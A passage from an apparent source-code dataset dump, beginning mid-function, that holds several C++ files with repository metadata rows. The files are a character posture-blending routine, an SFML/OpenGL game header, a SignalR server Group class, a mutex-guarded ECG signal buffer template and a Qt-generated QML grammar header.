quater_blend(m_rotAxis_y, weight, tempQuaterMat);
// linear terms
m_additionalLinear.setSize(apPostures[0]->m_additionalLinear.size());
m_additionalLinear.setAllValue(0);
vectorn temp;
for(int i=0; i<n; i++)
{
ASSERT(m_additionalLinear.size()==apPostures[i]->m_additionalLinear.size());
temp.mult(apPostures[i]->m_additionalLinear, weight[i]);
m_additionalLinear+=temp;
}
//quaternion terms
m_additionalQuater.setSize(apPostures[0]->m_additionalQuater.size());
int nq=m_additionalQuater.size()/4;
for(int qq=0; qq<nq; qq++)
{
for(int j=0; j<n; j++)
{
ASSERT(m_additionalQuater.size()==apPostures[j]->m_additionalQuater.size());
tempQuaterMat.row(j).assign(apPostures[j]->m_additionalQuater.toQuater(qq*4));
}
quater tq;
quater_blend(tq, weight, tempQuaterMat);
m_additionalQuater.range(qq*4, (qq+1)*4)=tq;
}
// for(int i=0; i<n; i++)
// {
// vector3 tmpPos;
// apPostures[i]->decomposeRot();
// tmpPos=apPostures[i]->m_oppenentPos;
// tmpPos.rotate(apPostures[i]->m_rotAxis_y);
// m_oppenentPos+=tmpPos*weight[i];
// }
// decomposeRot();
// m_oppenentPos.rotate(m_rotAxis_y.inverse());
}
void Posture::Align(const Posture& other)
{
m_aTranslations[0]=other.m_aTranslations[0];
m_aTranslations[0].y=m_offset_y;
m_rotAxis_y=other.m_rotAxis_y;
m_aRotations[0] = m_rotAxis_y * m_offset_q;
}
void dep_toLocalDirection(Posture const& p, const vector3& dv, vector3& dir, bool bOnlyVerticalAxis)
{
quater inv_q;
if(bOnlyVerticalAxis)
{
p.decomposeRot();
inv_q.inverse(p.m_rotAxis_y);
}
else
inv_q.inverse(p.m_aRotations[0]);
dir.rotate(inv_q, dv);
}
void dep_toGlobalDirection(Posture const& p, const vector3& dir, vector3& dv, bool bOnlyVerticalAxis)
{
if(bOnlyVerticalAxis)
{
p.decomposeRot();
dv.rotate(p.m_rotAxis_y, dir);
}
else
dv.rotate(p.m_aRotations[0], dir);
}
void dep_toLocal(Posture& p, const vector3& pos, vector3& localPos)
{
vector3 dv;
dv.difference(p.m_aTranslations[0], pos);
dep_toLocalDirection(p, dv, localPos);
}
void dep_toGlobal(Posture& p, const vector3& pos, vector3& GlobalPos)
{
dep_toGlobalDirection(p, pos, GlobalPos);
GlobalPos+=p.m_aTranslations[0];
//GlobalPos.add(m_aTranslations[0]);
}
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
/*
PostureIP::PostureIP() :Node()
{
NodeType=POSTUREIP;
}
}
*/
vector3 dep_toLocal(Posture& p,const vector3& pos) { vector3 localPos; dep_toLocal(p, pos, localPos); return localPos;}
vector3 dep_toGlobal(Posture& p,const vector3& pos) { vector3 globalPos; dep_toGlobal(p, pos, globalPos); return globalPos;}
| [
"dcjo@mrl.snu.ac.kr"
] | dcjo@mrl.snu.ac.kr |
0cb724a9ebd59d01e4e99cc36dd76695f230ac3b | 8ed55ad59df152c2d3a56795974f6ee8f406a554 | /Project1/SFMLOpenGL/Game.h | 4147f8e177f43a1ae17fe938d06bd9364a871bfb | [] | no_license | LoLHTTH/Game-Play-Programming | a344e62ee6fed3c290a8235633ad8a8f010418cb | 1c2ce3c03b53109a6bf1648c9f127440fbc253a7 | refs/heads/master | 2020-01-23T21:43:59.339641 | 2017-03-30T15:47:39 | 2017-03-30T15:47:39 | 74,684,792 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 1,070 | h | #ifndef GAME_H
#define GAME_H
#include <string>
#include <sstream>
#include <iostream>
#include <fstream>
#include <GL/glew.h>
#include <GL/wglew.h>
#include <glm/glm.hpp>
#include <glm/gtc/matrix_transform.hpp>
#include <SFML/Graphics.hpp>
#include <SFML/OpenGL.hpp>
#include <Debug.h>
#define STB_IMAGE_IMPLEMENTATION
#include <stb_image.h>
#include "Ground.h"
#include "Player.h"
#include "NPC.h"
using namespace std;
using namespace sf;
using namespace glm;
enum GameState
{
play,
gameover,
win,
};
class Game
{
public:
Game();
Game(sf::ContextSettings settings);
~Game();
void run();
private:
RenderWindow window;
bool isRunning = false;
void initialize();
void update();
void render();
void unload();
string readShader();
string readFragment();
void createCube(glm::mat4 &model);
void Respawn();
float respawn;
bool collisionCheck();
bool collision;
sf::Clock m_clock;
sf::Clock m_gameClock;
sf::Time m_time;
sf::Time m_goalTimer;
float npcTimer; // for moving
float goalTime;
bool win = false;
bool move = true;
};
#endif | [
"c00201361@ITCARLOW.IE"
] | c00201361@ITCARLOW.IE |
c598986146412b5ddb4c7dc47a08184daf4d9ddb | 2e656e71907c5306882a21bbb625a22826e92c9e | /src/SignalRServer/Hubs/Group.cpp | 052e5c691ec9286576324bd7966d51fe47f4f843 | [
"BSD-3-Clause"
] | permissive | SystemTera/signalr-cpp | 150d2459702afd4ecf22ddf4285a9c2e76b50f6b | 26f3232d6243d583449637d6fdc7fd8a1ae20eda | refs/heads/master | 2016-09-05T14:54:48.742496 | 2016-02-11T12:44:31 | 2016-02-11T12:44:31 | 23,916,312 | 7 | 4 | null | null | null | null | UTF-8 | C++ | false | false | 496 | cpp | #include "Group.h"
#include "Helper.h"
namespace P3 { namespace SignalR { namespace Server {
Group::Group()
{
_connectionId = "";
_groupName = "";
}
Group::Group(const char* connectionId,const char* groupName)
{
_connectionId = connectionId;
_groupName = groupName;
}
Group::~Group()
{
}
std::string Group::removePrefix()
{
if (_groupName.find('.') != std::string::npos)
return Helper::getRightOfSeparator(_groupName.c_str(), ".");
return _groupName;
}
}}}
| [
"dev@tera-dev.beka-consulting.local"
] | dev@tera-dev.beka-consulting.local |
5f8f80b8a9ffa411ff68d92aa6e1a1853b43e6af | 6378ee7d78ba13cd35b2e57f4e73d1b68e5ddc40 | /include/ECGSignal.h | dd27d19a2c6cc6f70e1a7d4b94cf57f795ff69dd | [] | no_license | kn65op/ECGReceiver | 448ed75b7d5b218850f8ca2a00e8bef3f14ac067 | 42d1901b0d30c7fc0ae6a7744ecb9c7371a632d0 | refs/heads/master | 2020-06-09T01:08:15.493047 | 2012-07-31T17:44:46 | 2012-07-31T17:44:46 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 5,623 | h | /*
* File: ECGSignal.h
* Author: tomko
*
* Created on 21 kwiecień 2012, 12:18
*/
#ifndef ECGSIGNAL_H
#define ECGSIGNAL_H
#include <mutex>
#include <atomic>
#include <list>
#include <vector>
#include <ctime>
//TODO usunąć
#include <iostream>
template <class T> class ECGSignal
{
public:
typedef std::list<T> data_t;
typedef typename data_t::iterator it_data_t;
typedef std::vector<data_t> vector_data_t;
typedef typename vector_data_t::iterator it_vector_data_t;
typedef std::vector<it_data_t> vector_it_data_t;
typedef std::vector<vector_it_data_t> outs_t;
/**
* Konstruktor parametryczny z parametrem określającym liczbę przechowywanych sygnałów.
* @param n Liczba przechowywanych sygnałów.
*/
ECGSignal(int n) : data_signal(n)
{
outs_count = 0;
this->n = n;
recording = false;
}
ECGSignal(const ECGSignal& orig) = delete;
virtual ~ECGSignal()
{
for (auto s : data_signal)
{
s.clear();
}
data_signal.clear();
outs.clear();
}
/**
* Funkcja otwierąca dane do odczytu. Odczyt zaczyna się w ostatnio dodanym elemencie sygnału. Jeśli sygnał nie jest jeszcze zapisywany to zwracane jest -1.
* @return Uchwyt do danych lub -1 w przypadku błędu.
*/
int readOpen()
{
if (!recording)
{
return -1;
}
mx.lock();
//zapisanie iteratora do data_t
int i = 0;
int handle = outs_count;
outs.push_back(vector_it_data_t(n));
for (auto & o : outs[handle])
{
o = (--(data_signal[i++].end()));
}
mx.unlock();
return outs_count++;
}
/**
* Funkcja zamykająca dane do odczytu.
* @param handle Uchwyt do danych.
*/
void closeOpen(int handle)
{
//po zakonczeniu odczytu ustawiamy iterator na end
outs[handle] == data_signal.end();
}
/**
* Funkcja zapisująca nową porcję danych.
* @param begin Iterator do pierwszego elementu porcji danych.
* @param end Iterator do pierwszego za ostatnim elementem porcji danych.
*/
template <class InputIterator> void store(InputIterator & begin, InputIterator & end)
{
mx.lock();
for (it_vector_data_t it = data_signal.begin(); begin != end; ++it, ++begin)
{
it->push_back(*begin);
}
mx.unlock();
}
/**
* Funkcja zwracająca iteratory do początku i końca danych (ostatni element też jest elementem danych).
* @param handle Uchwyt do danych otrzymany z funkcji readOpen.
* @param start Iterator do pierwszego elementu nowych danych.
* @param end Iterator do ostaniego elementu nowych danych.
* @return true jeśli są nowe dane, false w przeciwnym wypadku.
*
bool readData(int handle, vector_data_t & res)
{
bool ret = false;
if (outs[handle][0] == data_signal[0].end()) //uchwyt jest nieprawidłowy
{
return ret;
}
//badanie czy się przesunęło
it_data_t last_it = outs[handle][0];
mx.lock();
while (outs[handle][0] != data_signal[0].end())
{
for (int i = 0; i < 3; i++)
{
std::cout << outs.size() << " " << outs[handle].size() << "\n";
res[i].push_back(*(outs[handle][i]++));
}
}
for (int i = 0; i < n; i++)
{
outs[handle][i] = --data_signal[i].end();
}
ret = true;
mx.unlock();
return ret;
}
*/
/**
* Funkcja zwracająca iteratory do początku i końca danych (ostatni element też jest elementem danych).
* @param handle Uchwyt do danych otrzymany z funkcji readOpen.
* @param start Iterator do pierwszego elementu nowych danych.
* @param end Iterator do ostaniego elementu nowych danych.
* @return true jeśli są nowe dane, false w przeciwnym wypadku.
*/
bool readData(int handle, vector_it_data_t & start, vector_it_data_t & end)
{
bool ret = false;
if (outs[handle][0] == data_signal[0].end()) //uchwyt jest nieprawidłowy
{
return ret;
}
//badanie czy się przesunęło
it_data_t last_it = outs[handle][0];
mx.lock();
if (last_it != --(data_signal[0].end()))
{
for (int i = 0; i < n; i++)
{
start[i] = outs[handle][i];
end[i] = --(data_signal[i].end());
outs[handle][i] = --data_signal[i].end();
}
ret = true;
}
mx.unlock();
return ret;
}
/**
* Funkcja rozpoczynająca możliwość zapisu.
*/
void startRecording()
{
recording = true;
start = std::time(NULL);
}
/**
* Funkcja kończąca zapis.
*/
void stopRecording()
{
recording = false;
stop = std::time(NULL);
}
/**
* Funkcja zwracająca iteratory do początku i puerwszego elementu za ostatnim w sytuacji, gdy zapis jest skończony.
* @param start Iterator do pierwszego elementu.
* @param end Iterator do pierszego za ostatnim elementu.
* @return true jeśli zapis jest skończony, false w przeciwnym wyapdku.
*/
bool getAllData(it_vector_data_t & start, it_vector_data_t & end)
{
if (recording)
{
return false;
}
start = data_signal.begin();
end = data_signal.end();
return true;
}
/**
* Funkcja zwracająca ilość przechowywanych danych.
* @return ilość przechowywanych danych.
*/
int getSize()
{
return data_signal.size() * data_signal[0].size();
}
private:
//mutex
std::mutex mx;
//dane
vector_data_t data_signal;
//iteratory dla modułów odczytujących
outs_t outs;
//liczba modułów odczytujących
int outs_count;
//liczba przechowywanych sygnałow
int n;
//kontrola czasu zapisu
std::time_t start, stop;
std::atomic<bool> recording;
};
#endif /* ECGSIGNAL_H */
| [
"kn65op@gmail.com"
] | kn65op@gmail.com |
d9245aebdd35d8694a1ccbf7ba930306f03a2f61 | bbcda48854d6890ad029d5973e011d4784d248d2 | /trunk/win/Source/Includes/QtIncludes/src/declarative/qml/parser/qdeclarativejsgrammar_p.h | 8d0119121a62e420cb5da6178f22898aaaafbb57 | [
"MIT",
"curl",
"LGPL-2.1-or-later",
"BSD-3-Clause",
"BSL-1.0",
"Apache-2.0",
"LicenseRef-scancode-public-domain",
"LGPL-2.1-only",
"Zlib",
"LicenseRef-scancode-unknown",
"LicenseRef-scancode-unknown-license-reference",
"MS-LPL"
] | permissive | dyzmapl/BumpTop | 9c396f876e6a9ace1099b3b32e45612a388943ff | 1329ea41411c7368516b942d19add694af3d602f | refs/heads/master | 2020-12-20T22:42:55.100473 | 2020-01-25T21:00:08 | 2020-01-25T21:00:08 | 236,229,087 | 0 | 0 | Apache-2.0 | 2020-01-25T20:58:59 | 2020-01-25T20:58:58 | null | UTF-8 | C++ | false | false | 5,537 | h | /****************************************************************************
**
** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
** All rights reserved.
** Contact: Nokia Corporation (qt-info@nokia.com)
**
** This file is part of the QtCore module of the Qt Toolkit.
**
** $QT_BEGIN_LICENSE:LGPL$
** GNU Lesser General Public License Usage
** This file may be used under the terms of the GNU Lesser General Public
** License version 2.1 as published by the Free Software Foundation and
** appearing in the file LICENSE.LGPL included in the packaging of this
** file. Please review the following information to ensure the GNU Lesser
** General Public License version 2.1 requirements will be met:
** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
**
** In addition, as a special exception, Nokia gives you certain additional
** rights. These rights are described in the Nokia Qt LGPL Exception
** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
**
** GNU General Public License Usage
** Alternatively, this file may be used under the terms of the GNU General
** Public License version 3.0 as published by the Free Software Foundation
** and appearing in the file LICENSE.GPL included in the packaging of this
** file. Please review the following information to ensure the GNU General
** Public License version 3.0 requirements will be met:
** http://www.gnu.org/copyleft/gpl.html.
**
** Other Usage
** Alternatively, this file may be used in accordance with the terms and
** conditions contained in a signed written agreement between you and Nokia.
**
**
**
**
**
** $QT_END_LICENSE$
**
****************************************************************************/
//
// W A R N I N G
// -------------
//
// This file is not part of the Qt API. It exists for the convenience
// of other Qt classes. This header file may change from version to
// version without notice, or even be removed.
//
// We mean it.
//
// This file was generated by qlalr - DO NOT EDIT!
#ifndef QDECLARATIVEJSGRAMMAR_P_H
#define QDECLARATIVEJSGRAMMAR_P_H
#include <QtCore/qglobal.h>
QT_BEGIN_NAMESPACE
class QDeclarativeJSGrammar
{
public:
enum VariousConstants {
EOF_SYMBOL = 0,
REDUCE_HERE = 100,
SHIFT_THERE = 99,
T_AND = 1,
T_AND_AND = 2,
T_AND_EQ = 3,
T_AS = 91,
T_AUTOMATIC_SEMICOLON = 62,
T_BREAK = 4,
T_CASE = 5,
T_CATCH = 6,
T_COLON = 7,
T_COMMA = 8,
T_COMMENT = 88,
T_CONST = 84,
T_CONTINUE = 9,
T_DEBUGGER = 85,
T_DEFAULT = 10,
T_DELETE = 11,
T_DIVIDE_ = 12,
T_DIVIDE_EQ = 13,
T_DO = 14,
T_DOT = 15,
T_ELSE = 16,
T_EQ = 17,
T_EQ_EQ = 18,
T_EQ_EQ_EQ = 19,
T_FALSE = 83,
T_FEED_JS_EXPRESSION = 96,
T_FEED_JS_PROGRAM = 98,
T_FEED_JS_SOURCE_ELEMENT = 97,
T_FEED_JS_STATEMENT = 95,
T_FEED_UI_OBJECT_MEMBER = 94,
T_FEED_UI_PROGRAM = 93,
T_FINALLY = 20,
T_FOR = 21,
T_FUNCTION = 22,
T_GE = 23,
T_GT = 24,
T_GT_GT = 25,
T_GT_GT_EQ = 26,
T_GT_GT_GT = 27,
T_GT_GT_GT_EQ = 28,
T_IDENTIFIER = 29,
T_IF = 30,
T_IMPORT = 90,
T_IN = 31,
T_INSTANCEOF = 32,
T_LBRACE = 33,
T_LBRACKET = 34,
T_LE = 35,
T_LPAREN = 36,
T_LT = 37,
T_LT_LT = 38,
T_LT_LT_EQ = 39,
T_MINUS = 40,
T_MINUS_EQ = 41,
T_MINUS_MINUS = 42,
T_MULTILINE_STRING_LITERAL = 87,
T_NEW = 43,
T_NOT = 44,
T_NOT_EQ = 45,
T_NOT_EQ_EQ = 46,
T_NULL = 81,
T_NUMERIC_LITERAL = 47,
T_ON = 92,
T_OR = 48,
T_OR_EQ = 49,
T_OR_OR = 50,
T_PLUS = 51,
T_PLUS_EQ = 52,
T_PLUS_PLUS = 53,
T_PROPERTY = 66,
T_PUBLIC = 89,
T_QUESTION = 54,
T_RBRACE = 55,
T_RBRACKET = 56,
T_READONLY = 68,
T_REMAINDER = 57,
T_REMAINDER_EQ = 58,
T_RESERVED_WORD = 86,
T_RETURN = 59,
T_RPAREN = 60,
T_SEMICOLON = 61,
T_SIGNAL = 67,
T_STAR = 63,
T_STAR_EQ = 64,
T_STRING_LITERAL = 65,
T_SWITCH = 69,
T_THIS = 70,
T_THROW = 71,
T_TILDE = 72,
T_TRUE = 82,
T_TRY = 73,
T_TYPEOF = 74,
T_VAR = 75,
T_VOID = 76,
T_WHILE = 77,
T_WITH = 78,
T_XOR = 79,
T_XOR_EQ = 80,
ACCEPT_STATE = 645,
RULE_COUNT = 347,
STATE_COUNT = 646,
TERMINAL_COUNT = 101,
NON_TERMINAL_COUNT = 106,
GOTO_INDEX_OFFSET = 646,
GOTO_INFO_OFFSET = 2714,
GOTO_CHECK_OFFSET = 2714
};
static const char *const spell [];
static const short lhs [];
static const short rhs [];
static const short goto_default [];
static const short action_default [];
static const short action_index [];
static const short action_info [];
static const short action_check [];
static inline int nt_action (int state, int nt)
{
const int yyn = action_index [GOTO_INDEX_OFFSET + state] + nt;
if (yyn < 0 || action_check [GOTO_CHECK_OFFSET + yyn] != nt)
return goto_default [nt];
return action_info [GOTO_INFO_OFFSET + yyn];
}
static inline int t_action (int state, int token)
{
const int yyn = action_index [state] + token;
if (yyn < 0 || action_check [yyn] != token)
return - action_default [state];
return action_info [yyn];
}
};
QT_END_NAMESPACE
#endif // QDECLARATIVEJSGRAMMAR_P_H
| [
"anandx@google.com"
] | anandx@google.com |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.